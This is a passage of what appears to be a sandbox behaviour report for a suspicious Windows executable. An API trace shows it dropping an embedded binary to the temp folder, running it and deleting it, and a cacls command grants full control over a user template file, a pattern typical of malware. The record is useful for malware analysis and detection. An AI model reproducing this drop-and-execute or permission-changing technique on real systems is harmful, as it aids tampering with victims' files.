Size=0xb88) returned 0x588820 [0077.623] FreeEnvironmentStringsW (penv=0x587c90) returned 1 [0077.623] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x94) returned 0x587c90 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa0) returned 0x587d30 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x584dd0 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x587dd8 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x587e50 [0077.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x57f900 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x62) returned 0x587ec8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x587f38 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x587f70 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x587fc0 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x587ff8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x586a70 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x588028 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x57f980 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588080 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5880b8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x586a98 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd2) returned 0x5880f0 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x5881d0 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x588258 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x584e18 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x90) returned 0x588298 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588330 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588360 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x588398 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x5883d8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588428 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584e60 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x18) returned 0x588488 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x82) returned 0x5884a8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x588538 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x586ac0 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x588570 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5885a8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x588608 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x588668 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x584ea8 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x5886a0 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x588700 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x588730 [0077.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x8c) returned 0x588768 [0077.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588820 | out: hHeap=0x570000) returned 1 [0077.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x588800 [0077.625] GetLastError () returned 0x0 [0077.625] SetLastError (dwErrCode=0x0) [0077.625] GetLastError () returned 0x0 [0077.625] SetLastError (dwErrCode=0x0) [0077.625] GetLastError () returned 0x0 [0077.625] SetLastError (dwErrCode=0x0) [0077.625] GetACP () returned 0x4e4 [0077.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x220) returned 0x589008 [0077.625] GetLastError () returned 0x0 [0077.625] SetLastError (dwErrCode=0x0) [0077.625] IsValidCodePage (CodePage=0x4e4) returned 1 [0077.625] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0077.625] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0077.625] GetLastError () returned 0x0 [0077.625] SetLastError (dwErrCode=0x0) [0077.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0077.625] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0077.626] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0077.626] GetLastError () returned 0x0 [0077.626] SetLastError (dwErrCode=0x0) [0077.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0077.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0077.626] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0077.626] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0077.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ!ÂÉÏäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0077.626] GetLastError () returned 0x0 [0077.626] SetLastError (dwErrCode=0x0) [0077.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0077.626] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0077.626] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0077.626] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0077.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ!ÂÉÏäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0077.626] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x80) returned 0x589230 [0077.626] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0077.627] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0077.627] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x589230) returned 0x80 [0077.627] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0077.627] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0077.627] GetCurrentProcess () returned 0xffffffff [0077.627] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0077.627] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0077.627] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0077.627] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0077.627] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0077.627] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0077.627] LockResource (hResData=0x43c648) returned 0x43c648 [0077.627] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x589700 [0077.628] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0077.629] GetFileType (hFile=0x90) returned 0x1 [0077.629] WriteFile (in: hFile=0x90, lpBuffer=0x43c648*, nNumberOfBytesToWrite=0x37000, lpNumberOfBytesWritten=0x18df04, lpOverlapped=0x0 | out: lpBuffer=0x43c648*, lpNumberOfBytesWritten=0x18df04*=0x37000, lpOverlapped=0x0) returned 1 [0077.634] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x589720 [0077.634] WriteFile (in: hFile=0x90, lpBuffer=0x589720*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x18df00, lpOverlapped=0x0 | out: lpBuffer=0x589720*, lpNumberOfBytesWritten=0x18df00*=0x490, lpOverlapped=0x0) returned 1 [0077.635] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589720 | out: hHeap=0x570000) returned 1 [0077.635] CloseHandle (hObject=0x90) returned 1 [0077.635] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0077.635] CreateProcessW (in: lpApplicationName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18facc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fb10 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", lpProcessInformation=0x18fb10*(hProcess=0x94, hThread=0x90, dwProcessId=0xc74, dwThreadId=0xc78)) returned 1 [0077.649] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0080.047] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe")) returned 1 [0080.048] CloseHandle (hObject=0x94) returned 1 [0080.048] CloseHandle (hObject=0x90) returned 1 [0080.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588800 | out: hHeap=0x570000) returned 1 [0080.049] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0080.049] ExitProcess (uExitCode=0x0) [0080.049] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5870a0 | out: hHeap=0x570000) returned 1 Process: id = "141" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x4a588000" os_pid = "0xc58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "137" os_parent_pid = "0xc28" cmd_line = "cacls \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 688 os_tid = 0xc5c Process: id = "142" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3e61a000" os_pid = "0xc60" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "131" os_parent_pid = "0x5dc" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"blank.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" 